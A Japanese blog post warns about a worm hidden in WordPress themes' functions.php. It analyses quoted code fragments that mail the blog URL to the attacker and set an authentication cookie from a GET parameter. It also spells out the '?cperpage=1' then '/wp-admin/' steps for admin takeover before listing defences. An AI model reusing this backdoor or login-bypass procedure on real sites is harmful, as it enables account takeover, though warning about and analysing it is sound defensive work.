[wp] WordPressテーマのfunctions.phpに仕込まれるワームについて

配布されたテーマをアクティブにしたことがありますか?もしあるなら既に悪意あるコードが仕込まれているかもしれませんよ。

2chのWordPress (ワードプレス) その15 >>806 より

テーマの安全性のチェックとかってみなさんどうしてますか?

WPとテーマをいくつかいれてから、システム情報みてみたらメールキューがたまってた。
あれ?と思ってキューにたまってるメールみてみたら上記アドレスあてにブログのアドレスを送ろうとしてました。
OB25通る設定してないのでひっかかってたから助かりました。

送ってるファイルの正体はSimple Perfectというテーマのfunction.phpです。
http://kachibito.net/wordpress/free-high-quality-themes.htmlで紹介されてました。
該当アドレスが分割して組み込まれてました。送ろうとしていた情報はの一部は↓です。
457 >——-$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password,
comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type,

WordPress公式の配布サイトからだとこういうのはないんですかね。

私は質問先の【PHP】下らねぇ質問はID出して書き込みやがれ 95を見ていて知ったんだけど、
どうも日本ではまだマイナーなワームなようなので注意喚起ついでに晒してみようと思います。
結論を書きますと、自作でないテーマを1度でもアクティブにした事がある方は、今すぐに怪しいコードがfunctions.phpに仕込まれていないかチェックした方がいいということです。

そのテーマのfunctions.phpに記載されていた怪しい部分というのは以下の関数です。(等倍画像

 wordpress virus code

_getprepare_widget()という関数から始まるソースですが、中身をざっと見るとmoreタグがあったりして如何にもテーマ独自に出力をカスタマイズしている感じです。
悪意あるコードはこの中に物凄い巧妙に仕込まれているので、PHPに疎い人がこれを見ていたとしても乗っ取りだと見抜くのはまず不可能だと思われます。
テーマやプラグインを作った経験がある人でも、ありふれた中身なのでスルーしてしまうかもしれません。(気づくとしたら見た目の汚さの方が高いかも)

先の質問に、Webプログラミング板の方で付いていた解答はこうです。

457行目はメールアドレス埋め込むためのダミーかな
最終的に「$text_s」へメアドがセットされるんだと思う

次に483行目の$sq1へSQL文定義するとみせかけて回りくどく関数呼んでる
call_user_func_array($getcommtext, array($text_s, $f_home, $f_types))
これはwp_mail($text_s, $f_home, $f_types)と同義で
メアドにget_option(“home”)の値を本文としてメールを発射する処理

仕上げは532行目、上と同じ手段で次の処理を実行
@wp_set_auth_cookie( $_GET[“cperpage”], true )
cperpageつうのは有りそうで無さそうな仕込みラベル
任意のIDをwp_set_auth_cookie()できるURLを集めるテーマって感じ?

wp_set_auth_cookie()
ttp://codex.wordpress.org/Function_Reference/wp_set_auth_cookie
どんな悪いことが出来るのか教えてエロい人

このレスを読めばWordpressとPHPに詳しい人ならピンとくるかもしれません。

テーマをアクティブにした際実行されるロジックは次の通りです。

  1. 変数sq1にSQL文を代入。と見せかけて実はメアドを仕込んだダミー
  2. その下に書かれた変数sh_contの設定で最初の変数sq1をstripos()してメアドだけを抜き出す。
  3. 二番目の変数sq1にSQL文を代入…と見せかけてcall_user_func_array()でブログのURLを載せたメールを送信
  4. 「続きを読む」リンク出力時に…と見せかけてcall_user_func_array()でwp_set_auth_cookie()を実行させる

続きを読むリンクとかパスワード制限されてるガイダンスとか出してるっぽく見えるけど、全部ダミーなので上記以外の事は何もしてません。

call_user_func_arrayはユーザーが引数で定義した関数を実行する関数です。
wp_set_auth_cookieは認証クッキーをセットする関数。

>>393
いったん管理画面に入ってログアウトしてログイン状態を切った後に
http://URL/?cperpage=1
にアクセスでブログトップが表示

そのあとにここへ
http://URL/wp-admin/

ちなみにログイン状態は2週間有効ぽい

メールを受け取ったハッカーが実行する手順は上記引用の通りです。
引用にあるGET値を感染テーマを使っているブログに送信すると、ブラウザに管理者がログインしている状態と同じクッキーが発行されるため、
wp-adminディレクトリへアクセスするだけでadminとしてログインできるようになるものです。
しかし何かしらPHPのエラーが出てログインできない場合もあります。
ログイン出来るものと出来ないものがあるのは、functions.phpの書き方によってエラーが出る場合があるためです。

ちなみに他の数字にすると数値に応じたユーザーIDのクッキーがセットされます。
cperpageは単に連想配列のキーでしかないので他の文字列に変異している場合がある。
ID1はadminである可能性が高いので狙い撃ちしやすい。

他のテーマのfunctions.phpもヤバい

質問レスでは見落とされているようですが、すぐ上にこんなコードもあるんですね(等倍画像

wordpressvirus2

_verifyactivate_widgets()など関数にWidgetと入っているので、テーマ独自のウィジェットか何かだと思うかもしれませんが、
やっぱりそれもダミーで実際はテーマディレクトリの走査とかをしてます。
感染したテーマを使用してしまった場合、このコードの影響で同じテーマディレクトリにある全てのテーマのfunctions.phpに同じワームが仕込まれてしまいます。
つまりこの質問者さんは既に実行してしまったので他のテーマも全部こいつに感染しているという事になります。

対策その他

どうもwp_set_auth_cookie関数が脆弱っぽい(といってもこの実行方法じゃ対策もしづらい)ので、
wp_set_auth_cookieを使う怪しいコードが紛れ込んでないかfunctions.phpをチェックするくらいしか根本的な対策はなさそう。
ユーザーIDで実行されるためadminを削除するのはあまり意味がないです。(感染に気づいた後なら有効)
他には、functions.phpにスペースを混ぜておくとか、ポート25ブロック(Outbound Port 25 Blocking)を行うとか、wp-mail()を無効にするとか、
GET値を見張ったり、wp-adminディレクトリのアクセスを制限することなどで実行を未然に防ぐことは出来そうです。

もし感染していたら、

  • WordPress本体を上書き
  • プラグインの確認
  • テーマの確認
  • データベースの確認
  • .htaccessファイルの確認
  • ユーザーを登録しなおしてIDを変更する
  • 全ユーザーのパスワード変更

これくらいはしといた方がいいです。

質問に上がっていたテーマ作者が仕込んだというよりは、テーマ開発しているローカルのwordpressでワームに感染したテーマをアクティブにしてしまったため、
配布用のテーマにも感染→気づかないままzip配布っていう線じゃないかなと。
たとえ自作派だとしても、ちょっと感染テーマをアクティブにしてみただけでコードが仕込まれてしまうので油断できません。
Wordpress本体に感染するものと違い、ワーム配布者になってしまう可能性を秘めているのが恐ろしい所です。

悪意あるユーザーに管理者権限でログインされてしまった場合、管理画面から好き勝手やられ放題になってしまいます。
Wordpressを利用中の方はご注意ください。

1件のコメント

Leave a Comment.